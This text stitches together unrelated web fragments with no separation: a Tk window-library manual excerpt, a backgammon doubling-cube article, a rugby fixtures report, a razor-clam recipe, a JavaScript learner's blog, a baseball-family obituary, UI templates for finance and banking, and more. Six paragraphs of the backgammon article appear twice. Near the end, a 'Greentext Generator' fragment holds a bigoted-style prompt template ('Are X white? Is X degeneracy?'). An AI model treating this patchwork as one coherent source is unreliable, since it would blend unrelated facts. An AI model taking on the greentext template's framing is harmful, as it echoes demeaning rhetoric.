Tk_X, Tk_Y, Tk_Width, and Tk_Height return information about tkwin's location within its parent and its size. The location information refers to the upper-left pixel in the window, or its border if there is one. The width and height information refers to the interior size of the window, not including any border. Tk_Changes returns a pointer to a structure containing all of the above information plus a few other fields. Tk_Attributes returns a pointer to an XSetWindowAttributes structure describing all of the attributes of the tkwin's window, such as background pixmap, event mask, and so on (Tk keeps track of all this information as it is changed by the application). Note: it is essential that applications use Tk procedures like Tk_ResizeWindow instead of X procedures like XResizeWindow, so that Tk can keep its data structures up-to-date.
Tk_IsContainer returns a non-zero value if tkwin is a container, and that some other application may be embedding itself inside tkwin.
Tk_IsEmbedded returns a non-zero value if tkwin is is not a free-standing window, but rather is embedded in some other application.
Tk_IsMapped returns a non-zero value if tkwin is mapped and zero if tkwin isn't mapped.
Tk_IsTopLevel returns a non-zero value if tkwin is a top-level window (its X parent is the root window of the screen) and zero if tkwin isn't a top-level window.
Tk_ReqWidth and Tk_ReqHeight return information about the window's requested size. These values correspond to the last call to Tk_GeometryRequest for tkwin.
Tk_MinReqWidth and Tk_MinReqHeight return information about the window's minimum requested size. These values correspond to the last call to Tk_SetMinimumRequestSize for tkwin.
Tk_InternalBorderLeft, Tk_InternalBorderRight, Tk_InternalBorderTop and Tk_InternalBorderBottom return the width of one side of the internal border that has been requested for tkwin, or 0 if no internal border was requested. The return value is simply the last value passed to Tk_SetInternalBorder or Tk_SetInternalBorderEx for tkwin.
Tk_Visual, Tk_Depth, and Tk_Colormap return information about the visual characteristics of a window. Tk_Visual returns the visual type for the window, Tk_Depth returns the number of bits per pixel, and Tk_Colormap returns the current colormap for the window. The visual characteristics are normally set from the defaults for the window's screen, but they may be overridden by calling Tk_SetWindowVisual.
attributes, colormap, depth, display, height, geometry manager, identifier, mapped, requested size, screen, top-level, visual, width, window, x, y
Copyright © 1990-1993 The Regents of the University of California. Copyright © 1994-1997 Sun Microsystems, Inc. Copyright © 1995-1997 Roger E. Critchlow Jr.


Student
Bangkok, Thailand
100pt
10 STREAK!
Contribution
Volunteer
Donation
Child Care
Environtment
Languages
English
Thai
Mandarin
Join us in an one day cooking event, where you meet others volunteer to help cooking for those in need!
Our team prepared 10 cooking station for everyone to use! Anyone can join help to volunteer! Can't cook? no problem! Help serve the foods or bring ingredients to the cooks! every healp counts!
Join us on cleaning and planting new trees in Gregory Park!
Gregory park is our one and only most loved park in south London, It's been a while since it was cleaned and the plants are growing un-maintained! It's our chance to make Gregory park GREAT AGAIN!
Teach basic codings to childrens in Hunter & Gwent Foster home!


pips Red=78 White=66
(CorrectAnswer= 0/0, ErrorScore= 0)
This is the second article on my match against Mochy from the Cyprus tournament. After he accepted my redouble to 4 in the position discussed last week he slowly but surely gained the advantage until we reached this week’s position. Mochy is playing Black. At this point he redoubled me to 8, potentially putting the match on the line. Should I accept the redouble to 8?
On the previous set of moves Mochy had made one of his few errors in the match when he played his 64 by moving 7/3, 7/1 instead of the correct 8/4, 8/2. Sadly, his error paid off when I rolled 33 and had to crash my home board.
Mochy’s redouble to 8 is clearly correct as there are a lot of market losing sequences when, after his next roll, I have to move a checker from his 5-pt and the remaining one gets attacked and probably closed out. The race is roughly equal as I have a lot of wastage in my home board. A lot of my moves will be forced, something that often happens when you have two checkers stranded in your opponent’s home board with the rest of your checkers in your own home board.
If I drop the redouble then my match winning chances are about 26% (using the Janowski formula). Note also that if I accept the cube, I cannot subsequently use it to win the game because we will effectively be playing double match point. And, of course, gammons are meaningless for either player. So, if I take, will I win this game more than 26% of the time?
I took several minutes to try to evaluate it and came to the conclusion that I could not. Unfortunately for me this was a small error as White actually wins from this position about 27% of the time, giving me a close take. White can win by hitting a shot and scampering round the board and also by rolling a timely set of doubles and then winning the race.
The other factor I should have given more thought to is the skill disparity. Mochy is undoubtedly a better player than I am. I should have been be more than willing to put the match on the line with a close decision, even if I got it wrong technically, than to try to win from 1-5 down to 9 against the number one ranked player in the world.
In the end there wasn’t much in the PR ratings. Mochy played at 2.69 while my PR was 3.35. However, the disparity was sufficient for me to go ‘all in’ and accept Mochy’s redouble to 8.
Both positions from the match that I have discussed added to my backgammon knowledge, particularly the first one. Both were key doubling decisions and let me remind you that such decisions are the key to winning backgammon. As Magriel famously said, “good checker play will never compensate you for the bad errors you make with the doubling cube”. Hopefully, I will be able to reuse that learning in future matches. We shall see.
On the previous set of moves Mochy had made one of his few errors in the match when he played his 64 by moving 7/3, 7/1 instead of the correct 8/4, 8/2. Sadly, his error paid off when I rolled 33 and had to crash my home board.
Mochy’s redouble to 8 is clearly correct as there are a lot of market losing sequences when, after his next roll, I have to move a checker from his 5-pt and the remaining one gets attacked and probably closed out. The race is roughly equal as I have a lot of wastage in my home board. A lot of my moves will be forced, something that often happens when you have two checkers stranded in your opponent’s home board with the rest of your checkers in your own home board.
If I drop the redouble then my match winning chances are about 26% (using the Janowski formula). Note also that if I accept the cube, I cannot subsequently use it to win the game because we will effectively be playing double match point. And, of course, gammons are meaningless for either player. So, if I take, will I win this game more than 26% of the time?
I took several minutes to try to evaluate it and came to the conclusion that I could not. Unfortunately for me this was a small error as White actually wins from this position about 27% of the time, giving me a close take. White can win by hitting a shot and scampering round the board and also by rolling a timely set of doubles and then winning the race.
The other factor I should have given more thought to is the skill disparity. Mochy is undoubtedly a better player than I am. I should have been be more than willing to put the match on the line with a close decision, even if I got it wrong technically, than to try to win from 1-5 down to 9 against the number one ranked player in the world.
In the end there wasn’t much in the PR ratings. Mochy played at 2.69 while my PR was 3.35. However, the disparity was sufficient for me to go ‘all in’ and accept Mochy’s redouble to 8.
Both positions from the match that I have discussed added to my backgammon knowledge, particularly the first one. Both were key doubling decisions and let me remind you that such decisions are the key to winning backgammon. As Magriel famously said, “good checker play will never compensate you for the bad errors you make with the doubling cube”. Hopefully, I will be able to reuse that learning in future matches. We shall see.
Cube analysis 2-ply cubeless equity +0.492 (Money: +0.491) 0.712 0.070 0.000 - 0.288 0.004 0.000 Cubeful equities: 1. Double, take +0.862 2. Double, pass +1.000 (+0.138) 3. No double +0.827 (-0.035) Proper cube action: Redouble, take


---
layout: archive
title: Lean Prover Zulip Chat Archive
permalink: 113488general/60630leanwebeditoronfirefox.html
---
The archive URL format has changed. Please find this page at:
https://leanprover-community.github.io/archive/stream/113488-general/topic/lean.20web.20editor.20on.20firefox.html


| ${securityType.lang()} | |
|---|---|
| Buy/Sell | ${buy} |
| Protection Buyer | ${protectionBuyer} |
| Protection Seller | ${protectionSeller} |
| Reference Entity | ${referenceEntity} |
| Debt Seniority | ${debtSeniority} |
| Restructuring Clause | ${restructuringClause} |
| Start Date | ${startDate} |
| Effective Date | ${effectiveDate} |
| Maturity Date | ${maturityDate} |
| Stub Type | ${stubType} |
| Coupon Frequency | ${couponFrequency} |
| Business Day Convention | ${businessDayConvention} |
| IMM Adjust Maturity Date | ${immAdjustMaturityDate} |
| Adjust Effective Date | ${adjustEffectiveDate} |
| Adjust Maturity Date | ${adjustMaturityDate} |
| Notional | ${notional} |
| Include Accrued Premium | ${includeAccruedPremium} |
| Protection Start | ${protectionStart} |
| Coupon | ${coupon} |
| Cash Settlement Date | ${cashSettlementDate} |
| Adjust Cash Settlement Date | ${adjustCashSettlementDate} |
| Attributes | |
|---|---|
Name |
Value |
| ${attribute_index} | ${attribute_value} |
| (no values) |


--- title: circdensity sidebar: function_reference_sidebar permalink: circdensity.html folder: function_reference toc: false ---
Wrapped gaussian fit for circular, axial data in the range 0:pi
| bc | list of angles (= bincenters) |
| bp | list of values (= Bin population) |
| sig | sigma of Gaussian used to smooth the distribution |
| circular density function |
| sum | do not normalize to area = 1 (default) but sum of radii =1 |


|
Marketing the shelf life of a product is ever important. Software is its surrounding box. The packaging is a users first impression of the product, and will be perhaps the user's only impression until the game is loaded. Hence, employ HCI practice in its design. |


Springboks to host Scotland, Georgia in 2020
Cape Town - The Springboks will play Scotland and Georgia in home Tests in July 2020, SA Rugby confirmed on Wednesday.
The world champions will play two Tests against the Scots - on July 4 and 11 - before facing Georgia the following weekend on July 18.
The venues and kick-off times will be announced at a later stage, SA Rugby said via a press statement.
It will be Scotland's first visit to South Africa since June 2014, when they were thumped 55-6 by the Boks in Port Elizabeth.
Overall, the Springboks have won 22 Tests against Scotland and lost five.
South Africa and Georgia have met only once before - at the 2003 Rugby World Cup when the Boks won 46-19 in Sydney.
The Springboks currently top the World Rugby rankings, while Scotland are ninth and Georgia 14th.
- Compiled by Herman Mostert


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 2
Heat a pan with a tight-fitting lid over a high heat. When the pan is hot, add the razor clams, shallots and white wine and immediately cover the pan with a lid so that the clams steam.
Steam the razor clams for 30 seconds, at which point they should all spring open.
Strain the cooking liquid from the steamed razor clams into a clean pan. Set aside.
When the razor clams are cool enough to handle, remove the clam flesh from the shells using your hands (reserve the shells). Discard any razor clams that have not opened fully during cooking.
Slice the cooked razor clam meat thinly at an angle, then set aside.
Heat one teaspoon of the vegetable oil in a frying pan over a medium heat. When the oil is hot, add the chopped carrot, courgette and fennel and fry gently for 3-4 minutes, or until softened. Set aside.
Return the reserved cooking liquid to the heat and bring to a simmer. Continue to simmer the mixture until the volume of liquid has reduced by half.
Add the chopped chorizo, cream, cooked carrots, courgettes and fennel, the broad beans, fresh chives or parsley and anchovy fillets to the cooking liquid. Stir well. Continue to simmer the mixture until it has thickened slightly.
Add the sliced razor clams, lemon zest, lemon juice and butter to the mixture. Stir well until the butter has melted.
Heat the remaining teaspoon of vegetable oil in a frying pan over a high heat. Season the squid meat, to taste, with salt and freshly ground black pepper. When the oil is smoking, add the seasoned squid to the pan and fry for 1-2 minutes, or until the flesh has turned opaque. (NB: Do not overcook or the squid meat will be tough.)
To serve, place two razor clam shells into each of two serving bowls (discard the remaining shells). Place pieces of the razor clam and squid meat into each of the shells, then spoon over the vegetables and sauce. Garnish with the fresh herbs and edible flowers, if using.


What on earth is Java Script?!
So, I have jumped into JavaScript (JS) and have spent the last 15 hours or so trying to wrap my head around some basic concepts. JS is VERY different to CSS and HTML, I feel like its the language that sits in the background and tells everything else what to do.. although all languages group things together to get working blocks of code.
JS works on a control flow, I guess HTML and CSS also do this, and this is basically the order in which the computer runs the code, top to bottom, left to write, which is most important with things like loops. Loops are bits of code that loop until the code does a certain thing. I am trying to think about how to explain this with an example of every day life but it is proving difficult.
If you think about your nightly ritual, you have a shower, get into your PJ’s lock the door and brush your teeth, the control flow is the order in which you do those things, Lets say you have stored in your computer your morning, night and mid day routines, some of these things you do twice a day, like brush your teeth, loops store all of the information, but depending on the formula you use depends on what information is pulled out for the different times of the day…
There are different ways of storing information, we have arrays, which are lines of text such as [“a”, “b”, “c”], and objects, this could be something like
var “Morning” { “Alarm”: 7, “Bathroom”: “shower”, “brush teeth”, “wash hair” }
This is a group of information that has different levels and layers of information. pulling information out of arrays is quite simple, you can get a lot of different information, the length of the array, a specific piece of information, you can add things and delete things and usually [ ] are used to manipulate arrays
With objects, you access the properties by calling the property name ie morning.alarm();
We then use things called functions, and functions basically are the equations that do things to the variables, arrays and objects and make them do things for us. They take the input that we have given them and give us output.
I am still wrapping my head around JavaScript, so I am not sure if this will make sense to anyone but me. I will probably go through these courses again in a week or two and hope to understand it all a bit more.


{{define "title"}}Create Button{{end}} {{define "styles"}} {{end}} {{define "main"}}
Buttons would redirect to a link. The link would be of the form {url-prefix}/{document-id}/.
url-prefix must begin and end with forward slashes eg.
/ie-complain/{{$l := len .DocumentStructureList}} {{if eq $l 0 }}
You have not created any document structure.
{{else}} {{end}} {{end}}


Account Name:
Account Number:
Total Amount Available To Withdraw/Transfer
Total Amount Available To Deposit
Total Amount Available To Withdraw/Transfer
Total Amount Available To Deposit
Total Amount Available To Withdraw/Transfer
Total Amount Available To Deposit
| Date | Description | Withdrawn | Deposit | New Balance |
|---|
This is currently how much you have saved in your savings account
| Date | Description | Withdrawn | Deposit | New Balance |
|---|
From within the Account options section you are able to manage every aspect of your banking experience with QBCore Banks, from ordering a new debit card, changing your pins, and even create a savings account.


Rebecca Veeck, daughter of St. Paul Saints owner, dies at 27
ST. PAUL, Minn. (AP) - The life of Rebecca Veeck, daughter of St. Paul Saints owner and president Mike Veeck, will be celebrated next month in Charleston, South Carolina.
Rebecca Veeck died Sept. 30 in Charleston after being diagnosed years ago with Batten disease, a rare genetic condition. She was 27.
Her family plans to host “Rebecca Fest” at Joseph P. Riley, Jr. Park in Charleston on Dec. 12 on what would have been her 28th birthday.
At age 2, Rebecca Veeck would greet visitors to the Saints’ front office from her playpen. Her parents, Mike and Libby Veeck, kept her around the front office rather than put her in day care. As a child, Rebecca would wear matching tutus with the team’s pig mascot to deliver baseballs to the home plate umpire.
Mike Veeck recalls that his daughter endeared herself to others with her sense of humor and “consuming hunger for life.”
After the family moved to Florida in 1998, Rebecca was diagnosed at age 7 with a degenerative eye disease that left her blind.
“Hearing that diagnosis destroyed us as a family,” Mike Veeck said. “But then we saw all these heroes - parents and the children - who were going through this and had gotten support.”
Rebecca continued dancing, riding horses and making art. In 1999, her father took her to see the Grand Canyon and other majestic sights before her eyesight was gone.
The family eventually settled in Charleston, where Mike Veeck was chief executive of the minor league RiverDogs baseball team, of which he was also co-owner along with “Ghostbusters” actor and former “Saturday Night Live” star Bill Murray. Rebecca and Murray would play the board game Candyland or just goof around.
“They had a really special bond that I have no idea how it formed,” Veeck said.
When she was about 20, Rebecca began having moments when she searched for words. After she had a seizure at 22, her parents took her to the University of Iowa Hospitals, where doctors diagnosed her with Batten disease, a fatal, inherited disorder of the nervous system with symptoms similar to dementia, the Star Tribune reported.
Mike Veeck said the family did not make the new diagnosis public until after her death because they wanted her to live as normally as possible.
“That original misdiagnosis was actually a blessing for us. For us to not know all those years earlier that she was dying was a godsend,” he said.
Despite a difficult last month, she could still crack jokes, her father said.
“She knew what to do, she had that comedic timing, because she knew we were sad,” he said. “She was constantly telling us her good memories and she made it a lot easier on us.”
Besides her mother and father, survivors include her brother, William “Night Train” Veeck of Chicago.
Her grandfather, Bill Veeck, owned the Cleveland Indians, St. Louis Browns and Chicago White Sox. Veeck’s Browns signed 3-foot-7 Eddie Gaedel as a publicity stunt in 1951 and he became the shortest person to appear in a big league game; and the 1979 White Sox had a Disco Demolition Night that led to a riot between games of a doubleheader against Detroit at Comiskey Park.
More AP MLB: https://apnews.com/MLB and https://twitter.com/AP_Sports
Information from: Star Tribune, http://www.startribune.com
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


Username
password
UserId:
Age:
mobile no.:
email
Sub Total
Silver
Gold
Platinum
Diamond
×
×
×
×
×
×
×
×


Another device is already registered for this account. Please re-authenticate using your registered device.
Gluu, Inc, | Use subject to MIT LICENSE


Greentext Generator
Subject
Date
User ID
Post ID
Image Filename
Image Size & Dimensions
Image URL
Post Content
Red pill me on X. (with no extra content or input of your own) Are X white? Is X degeneracy?  If X is true, then how come Y? Checkmate Z.


A confirmation email has been sent to {{email}}. Please click the link inside to confirm your subscription to Blot's newsletter.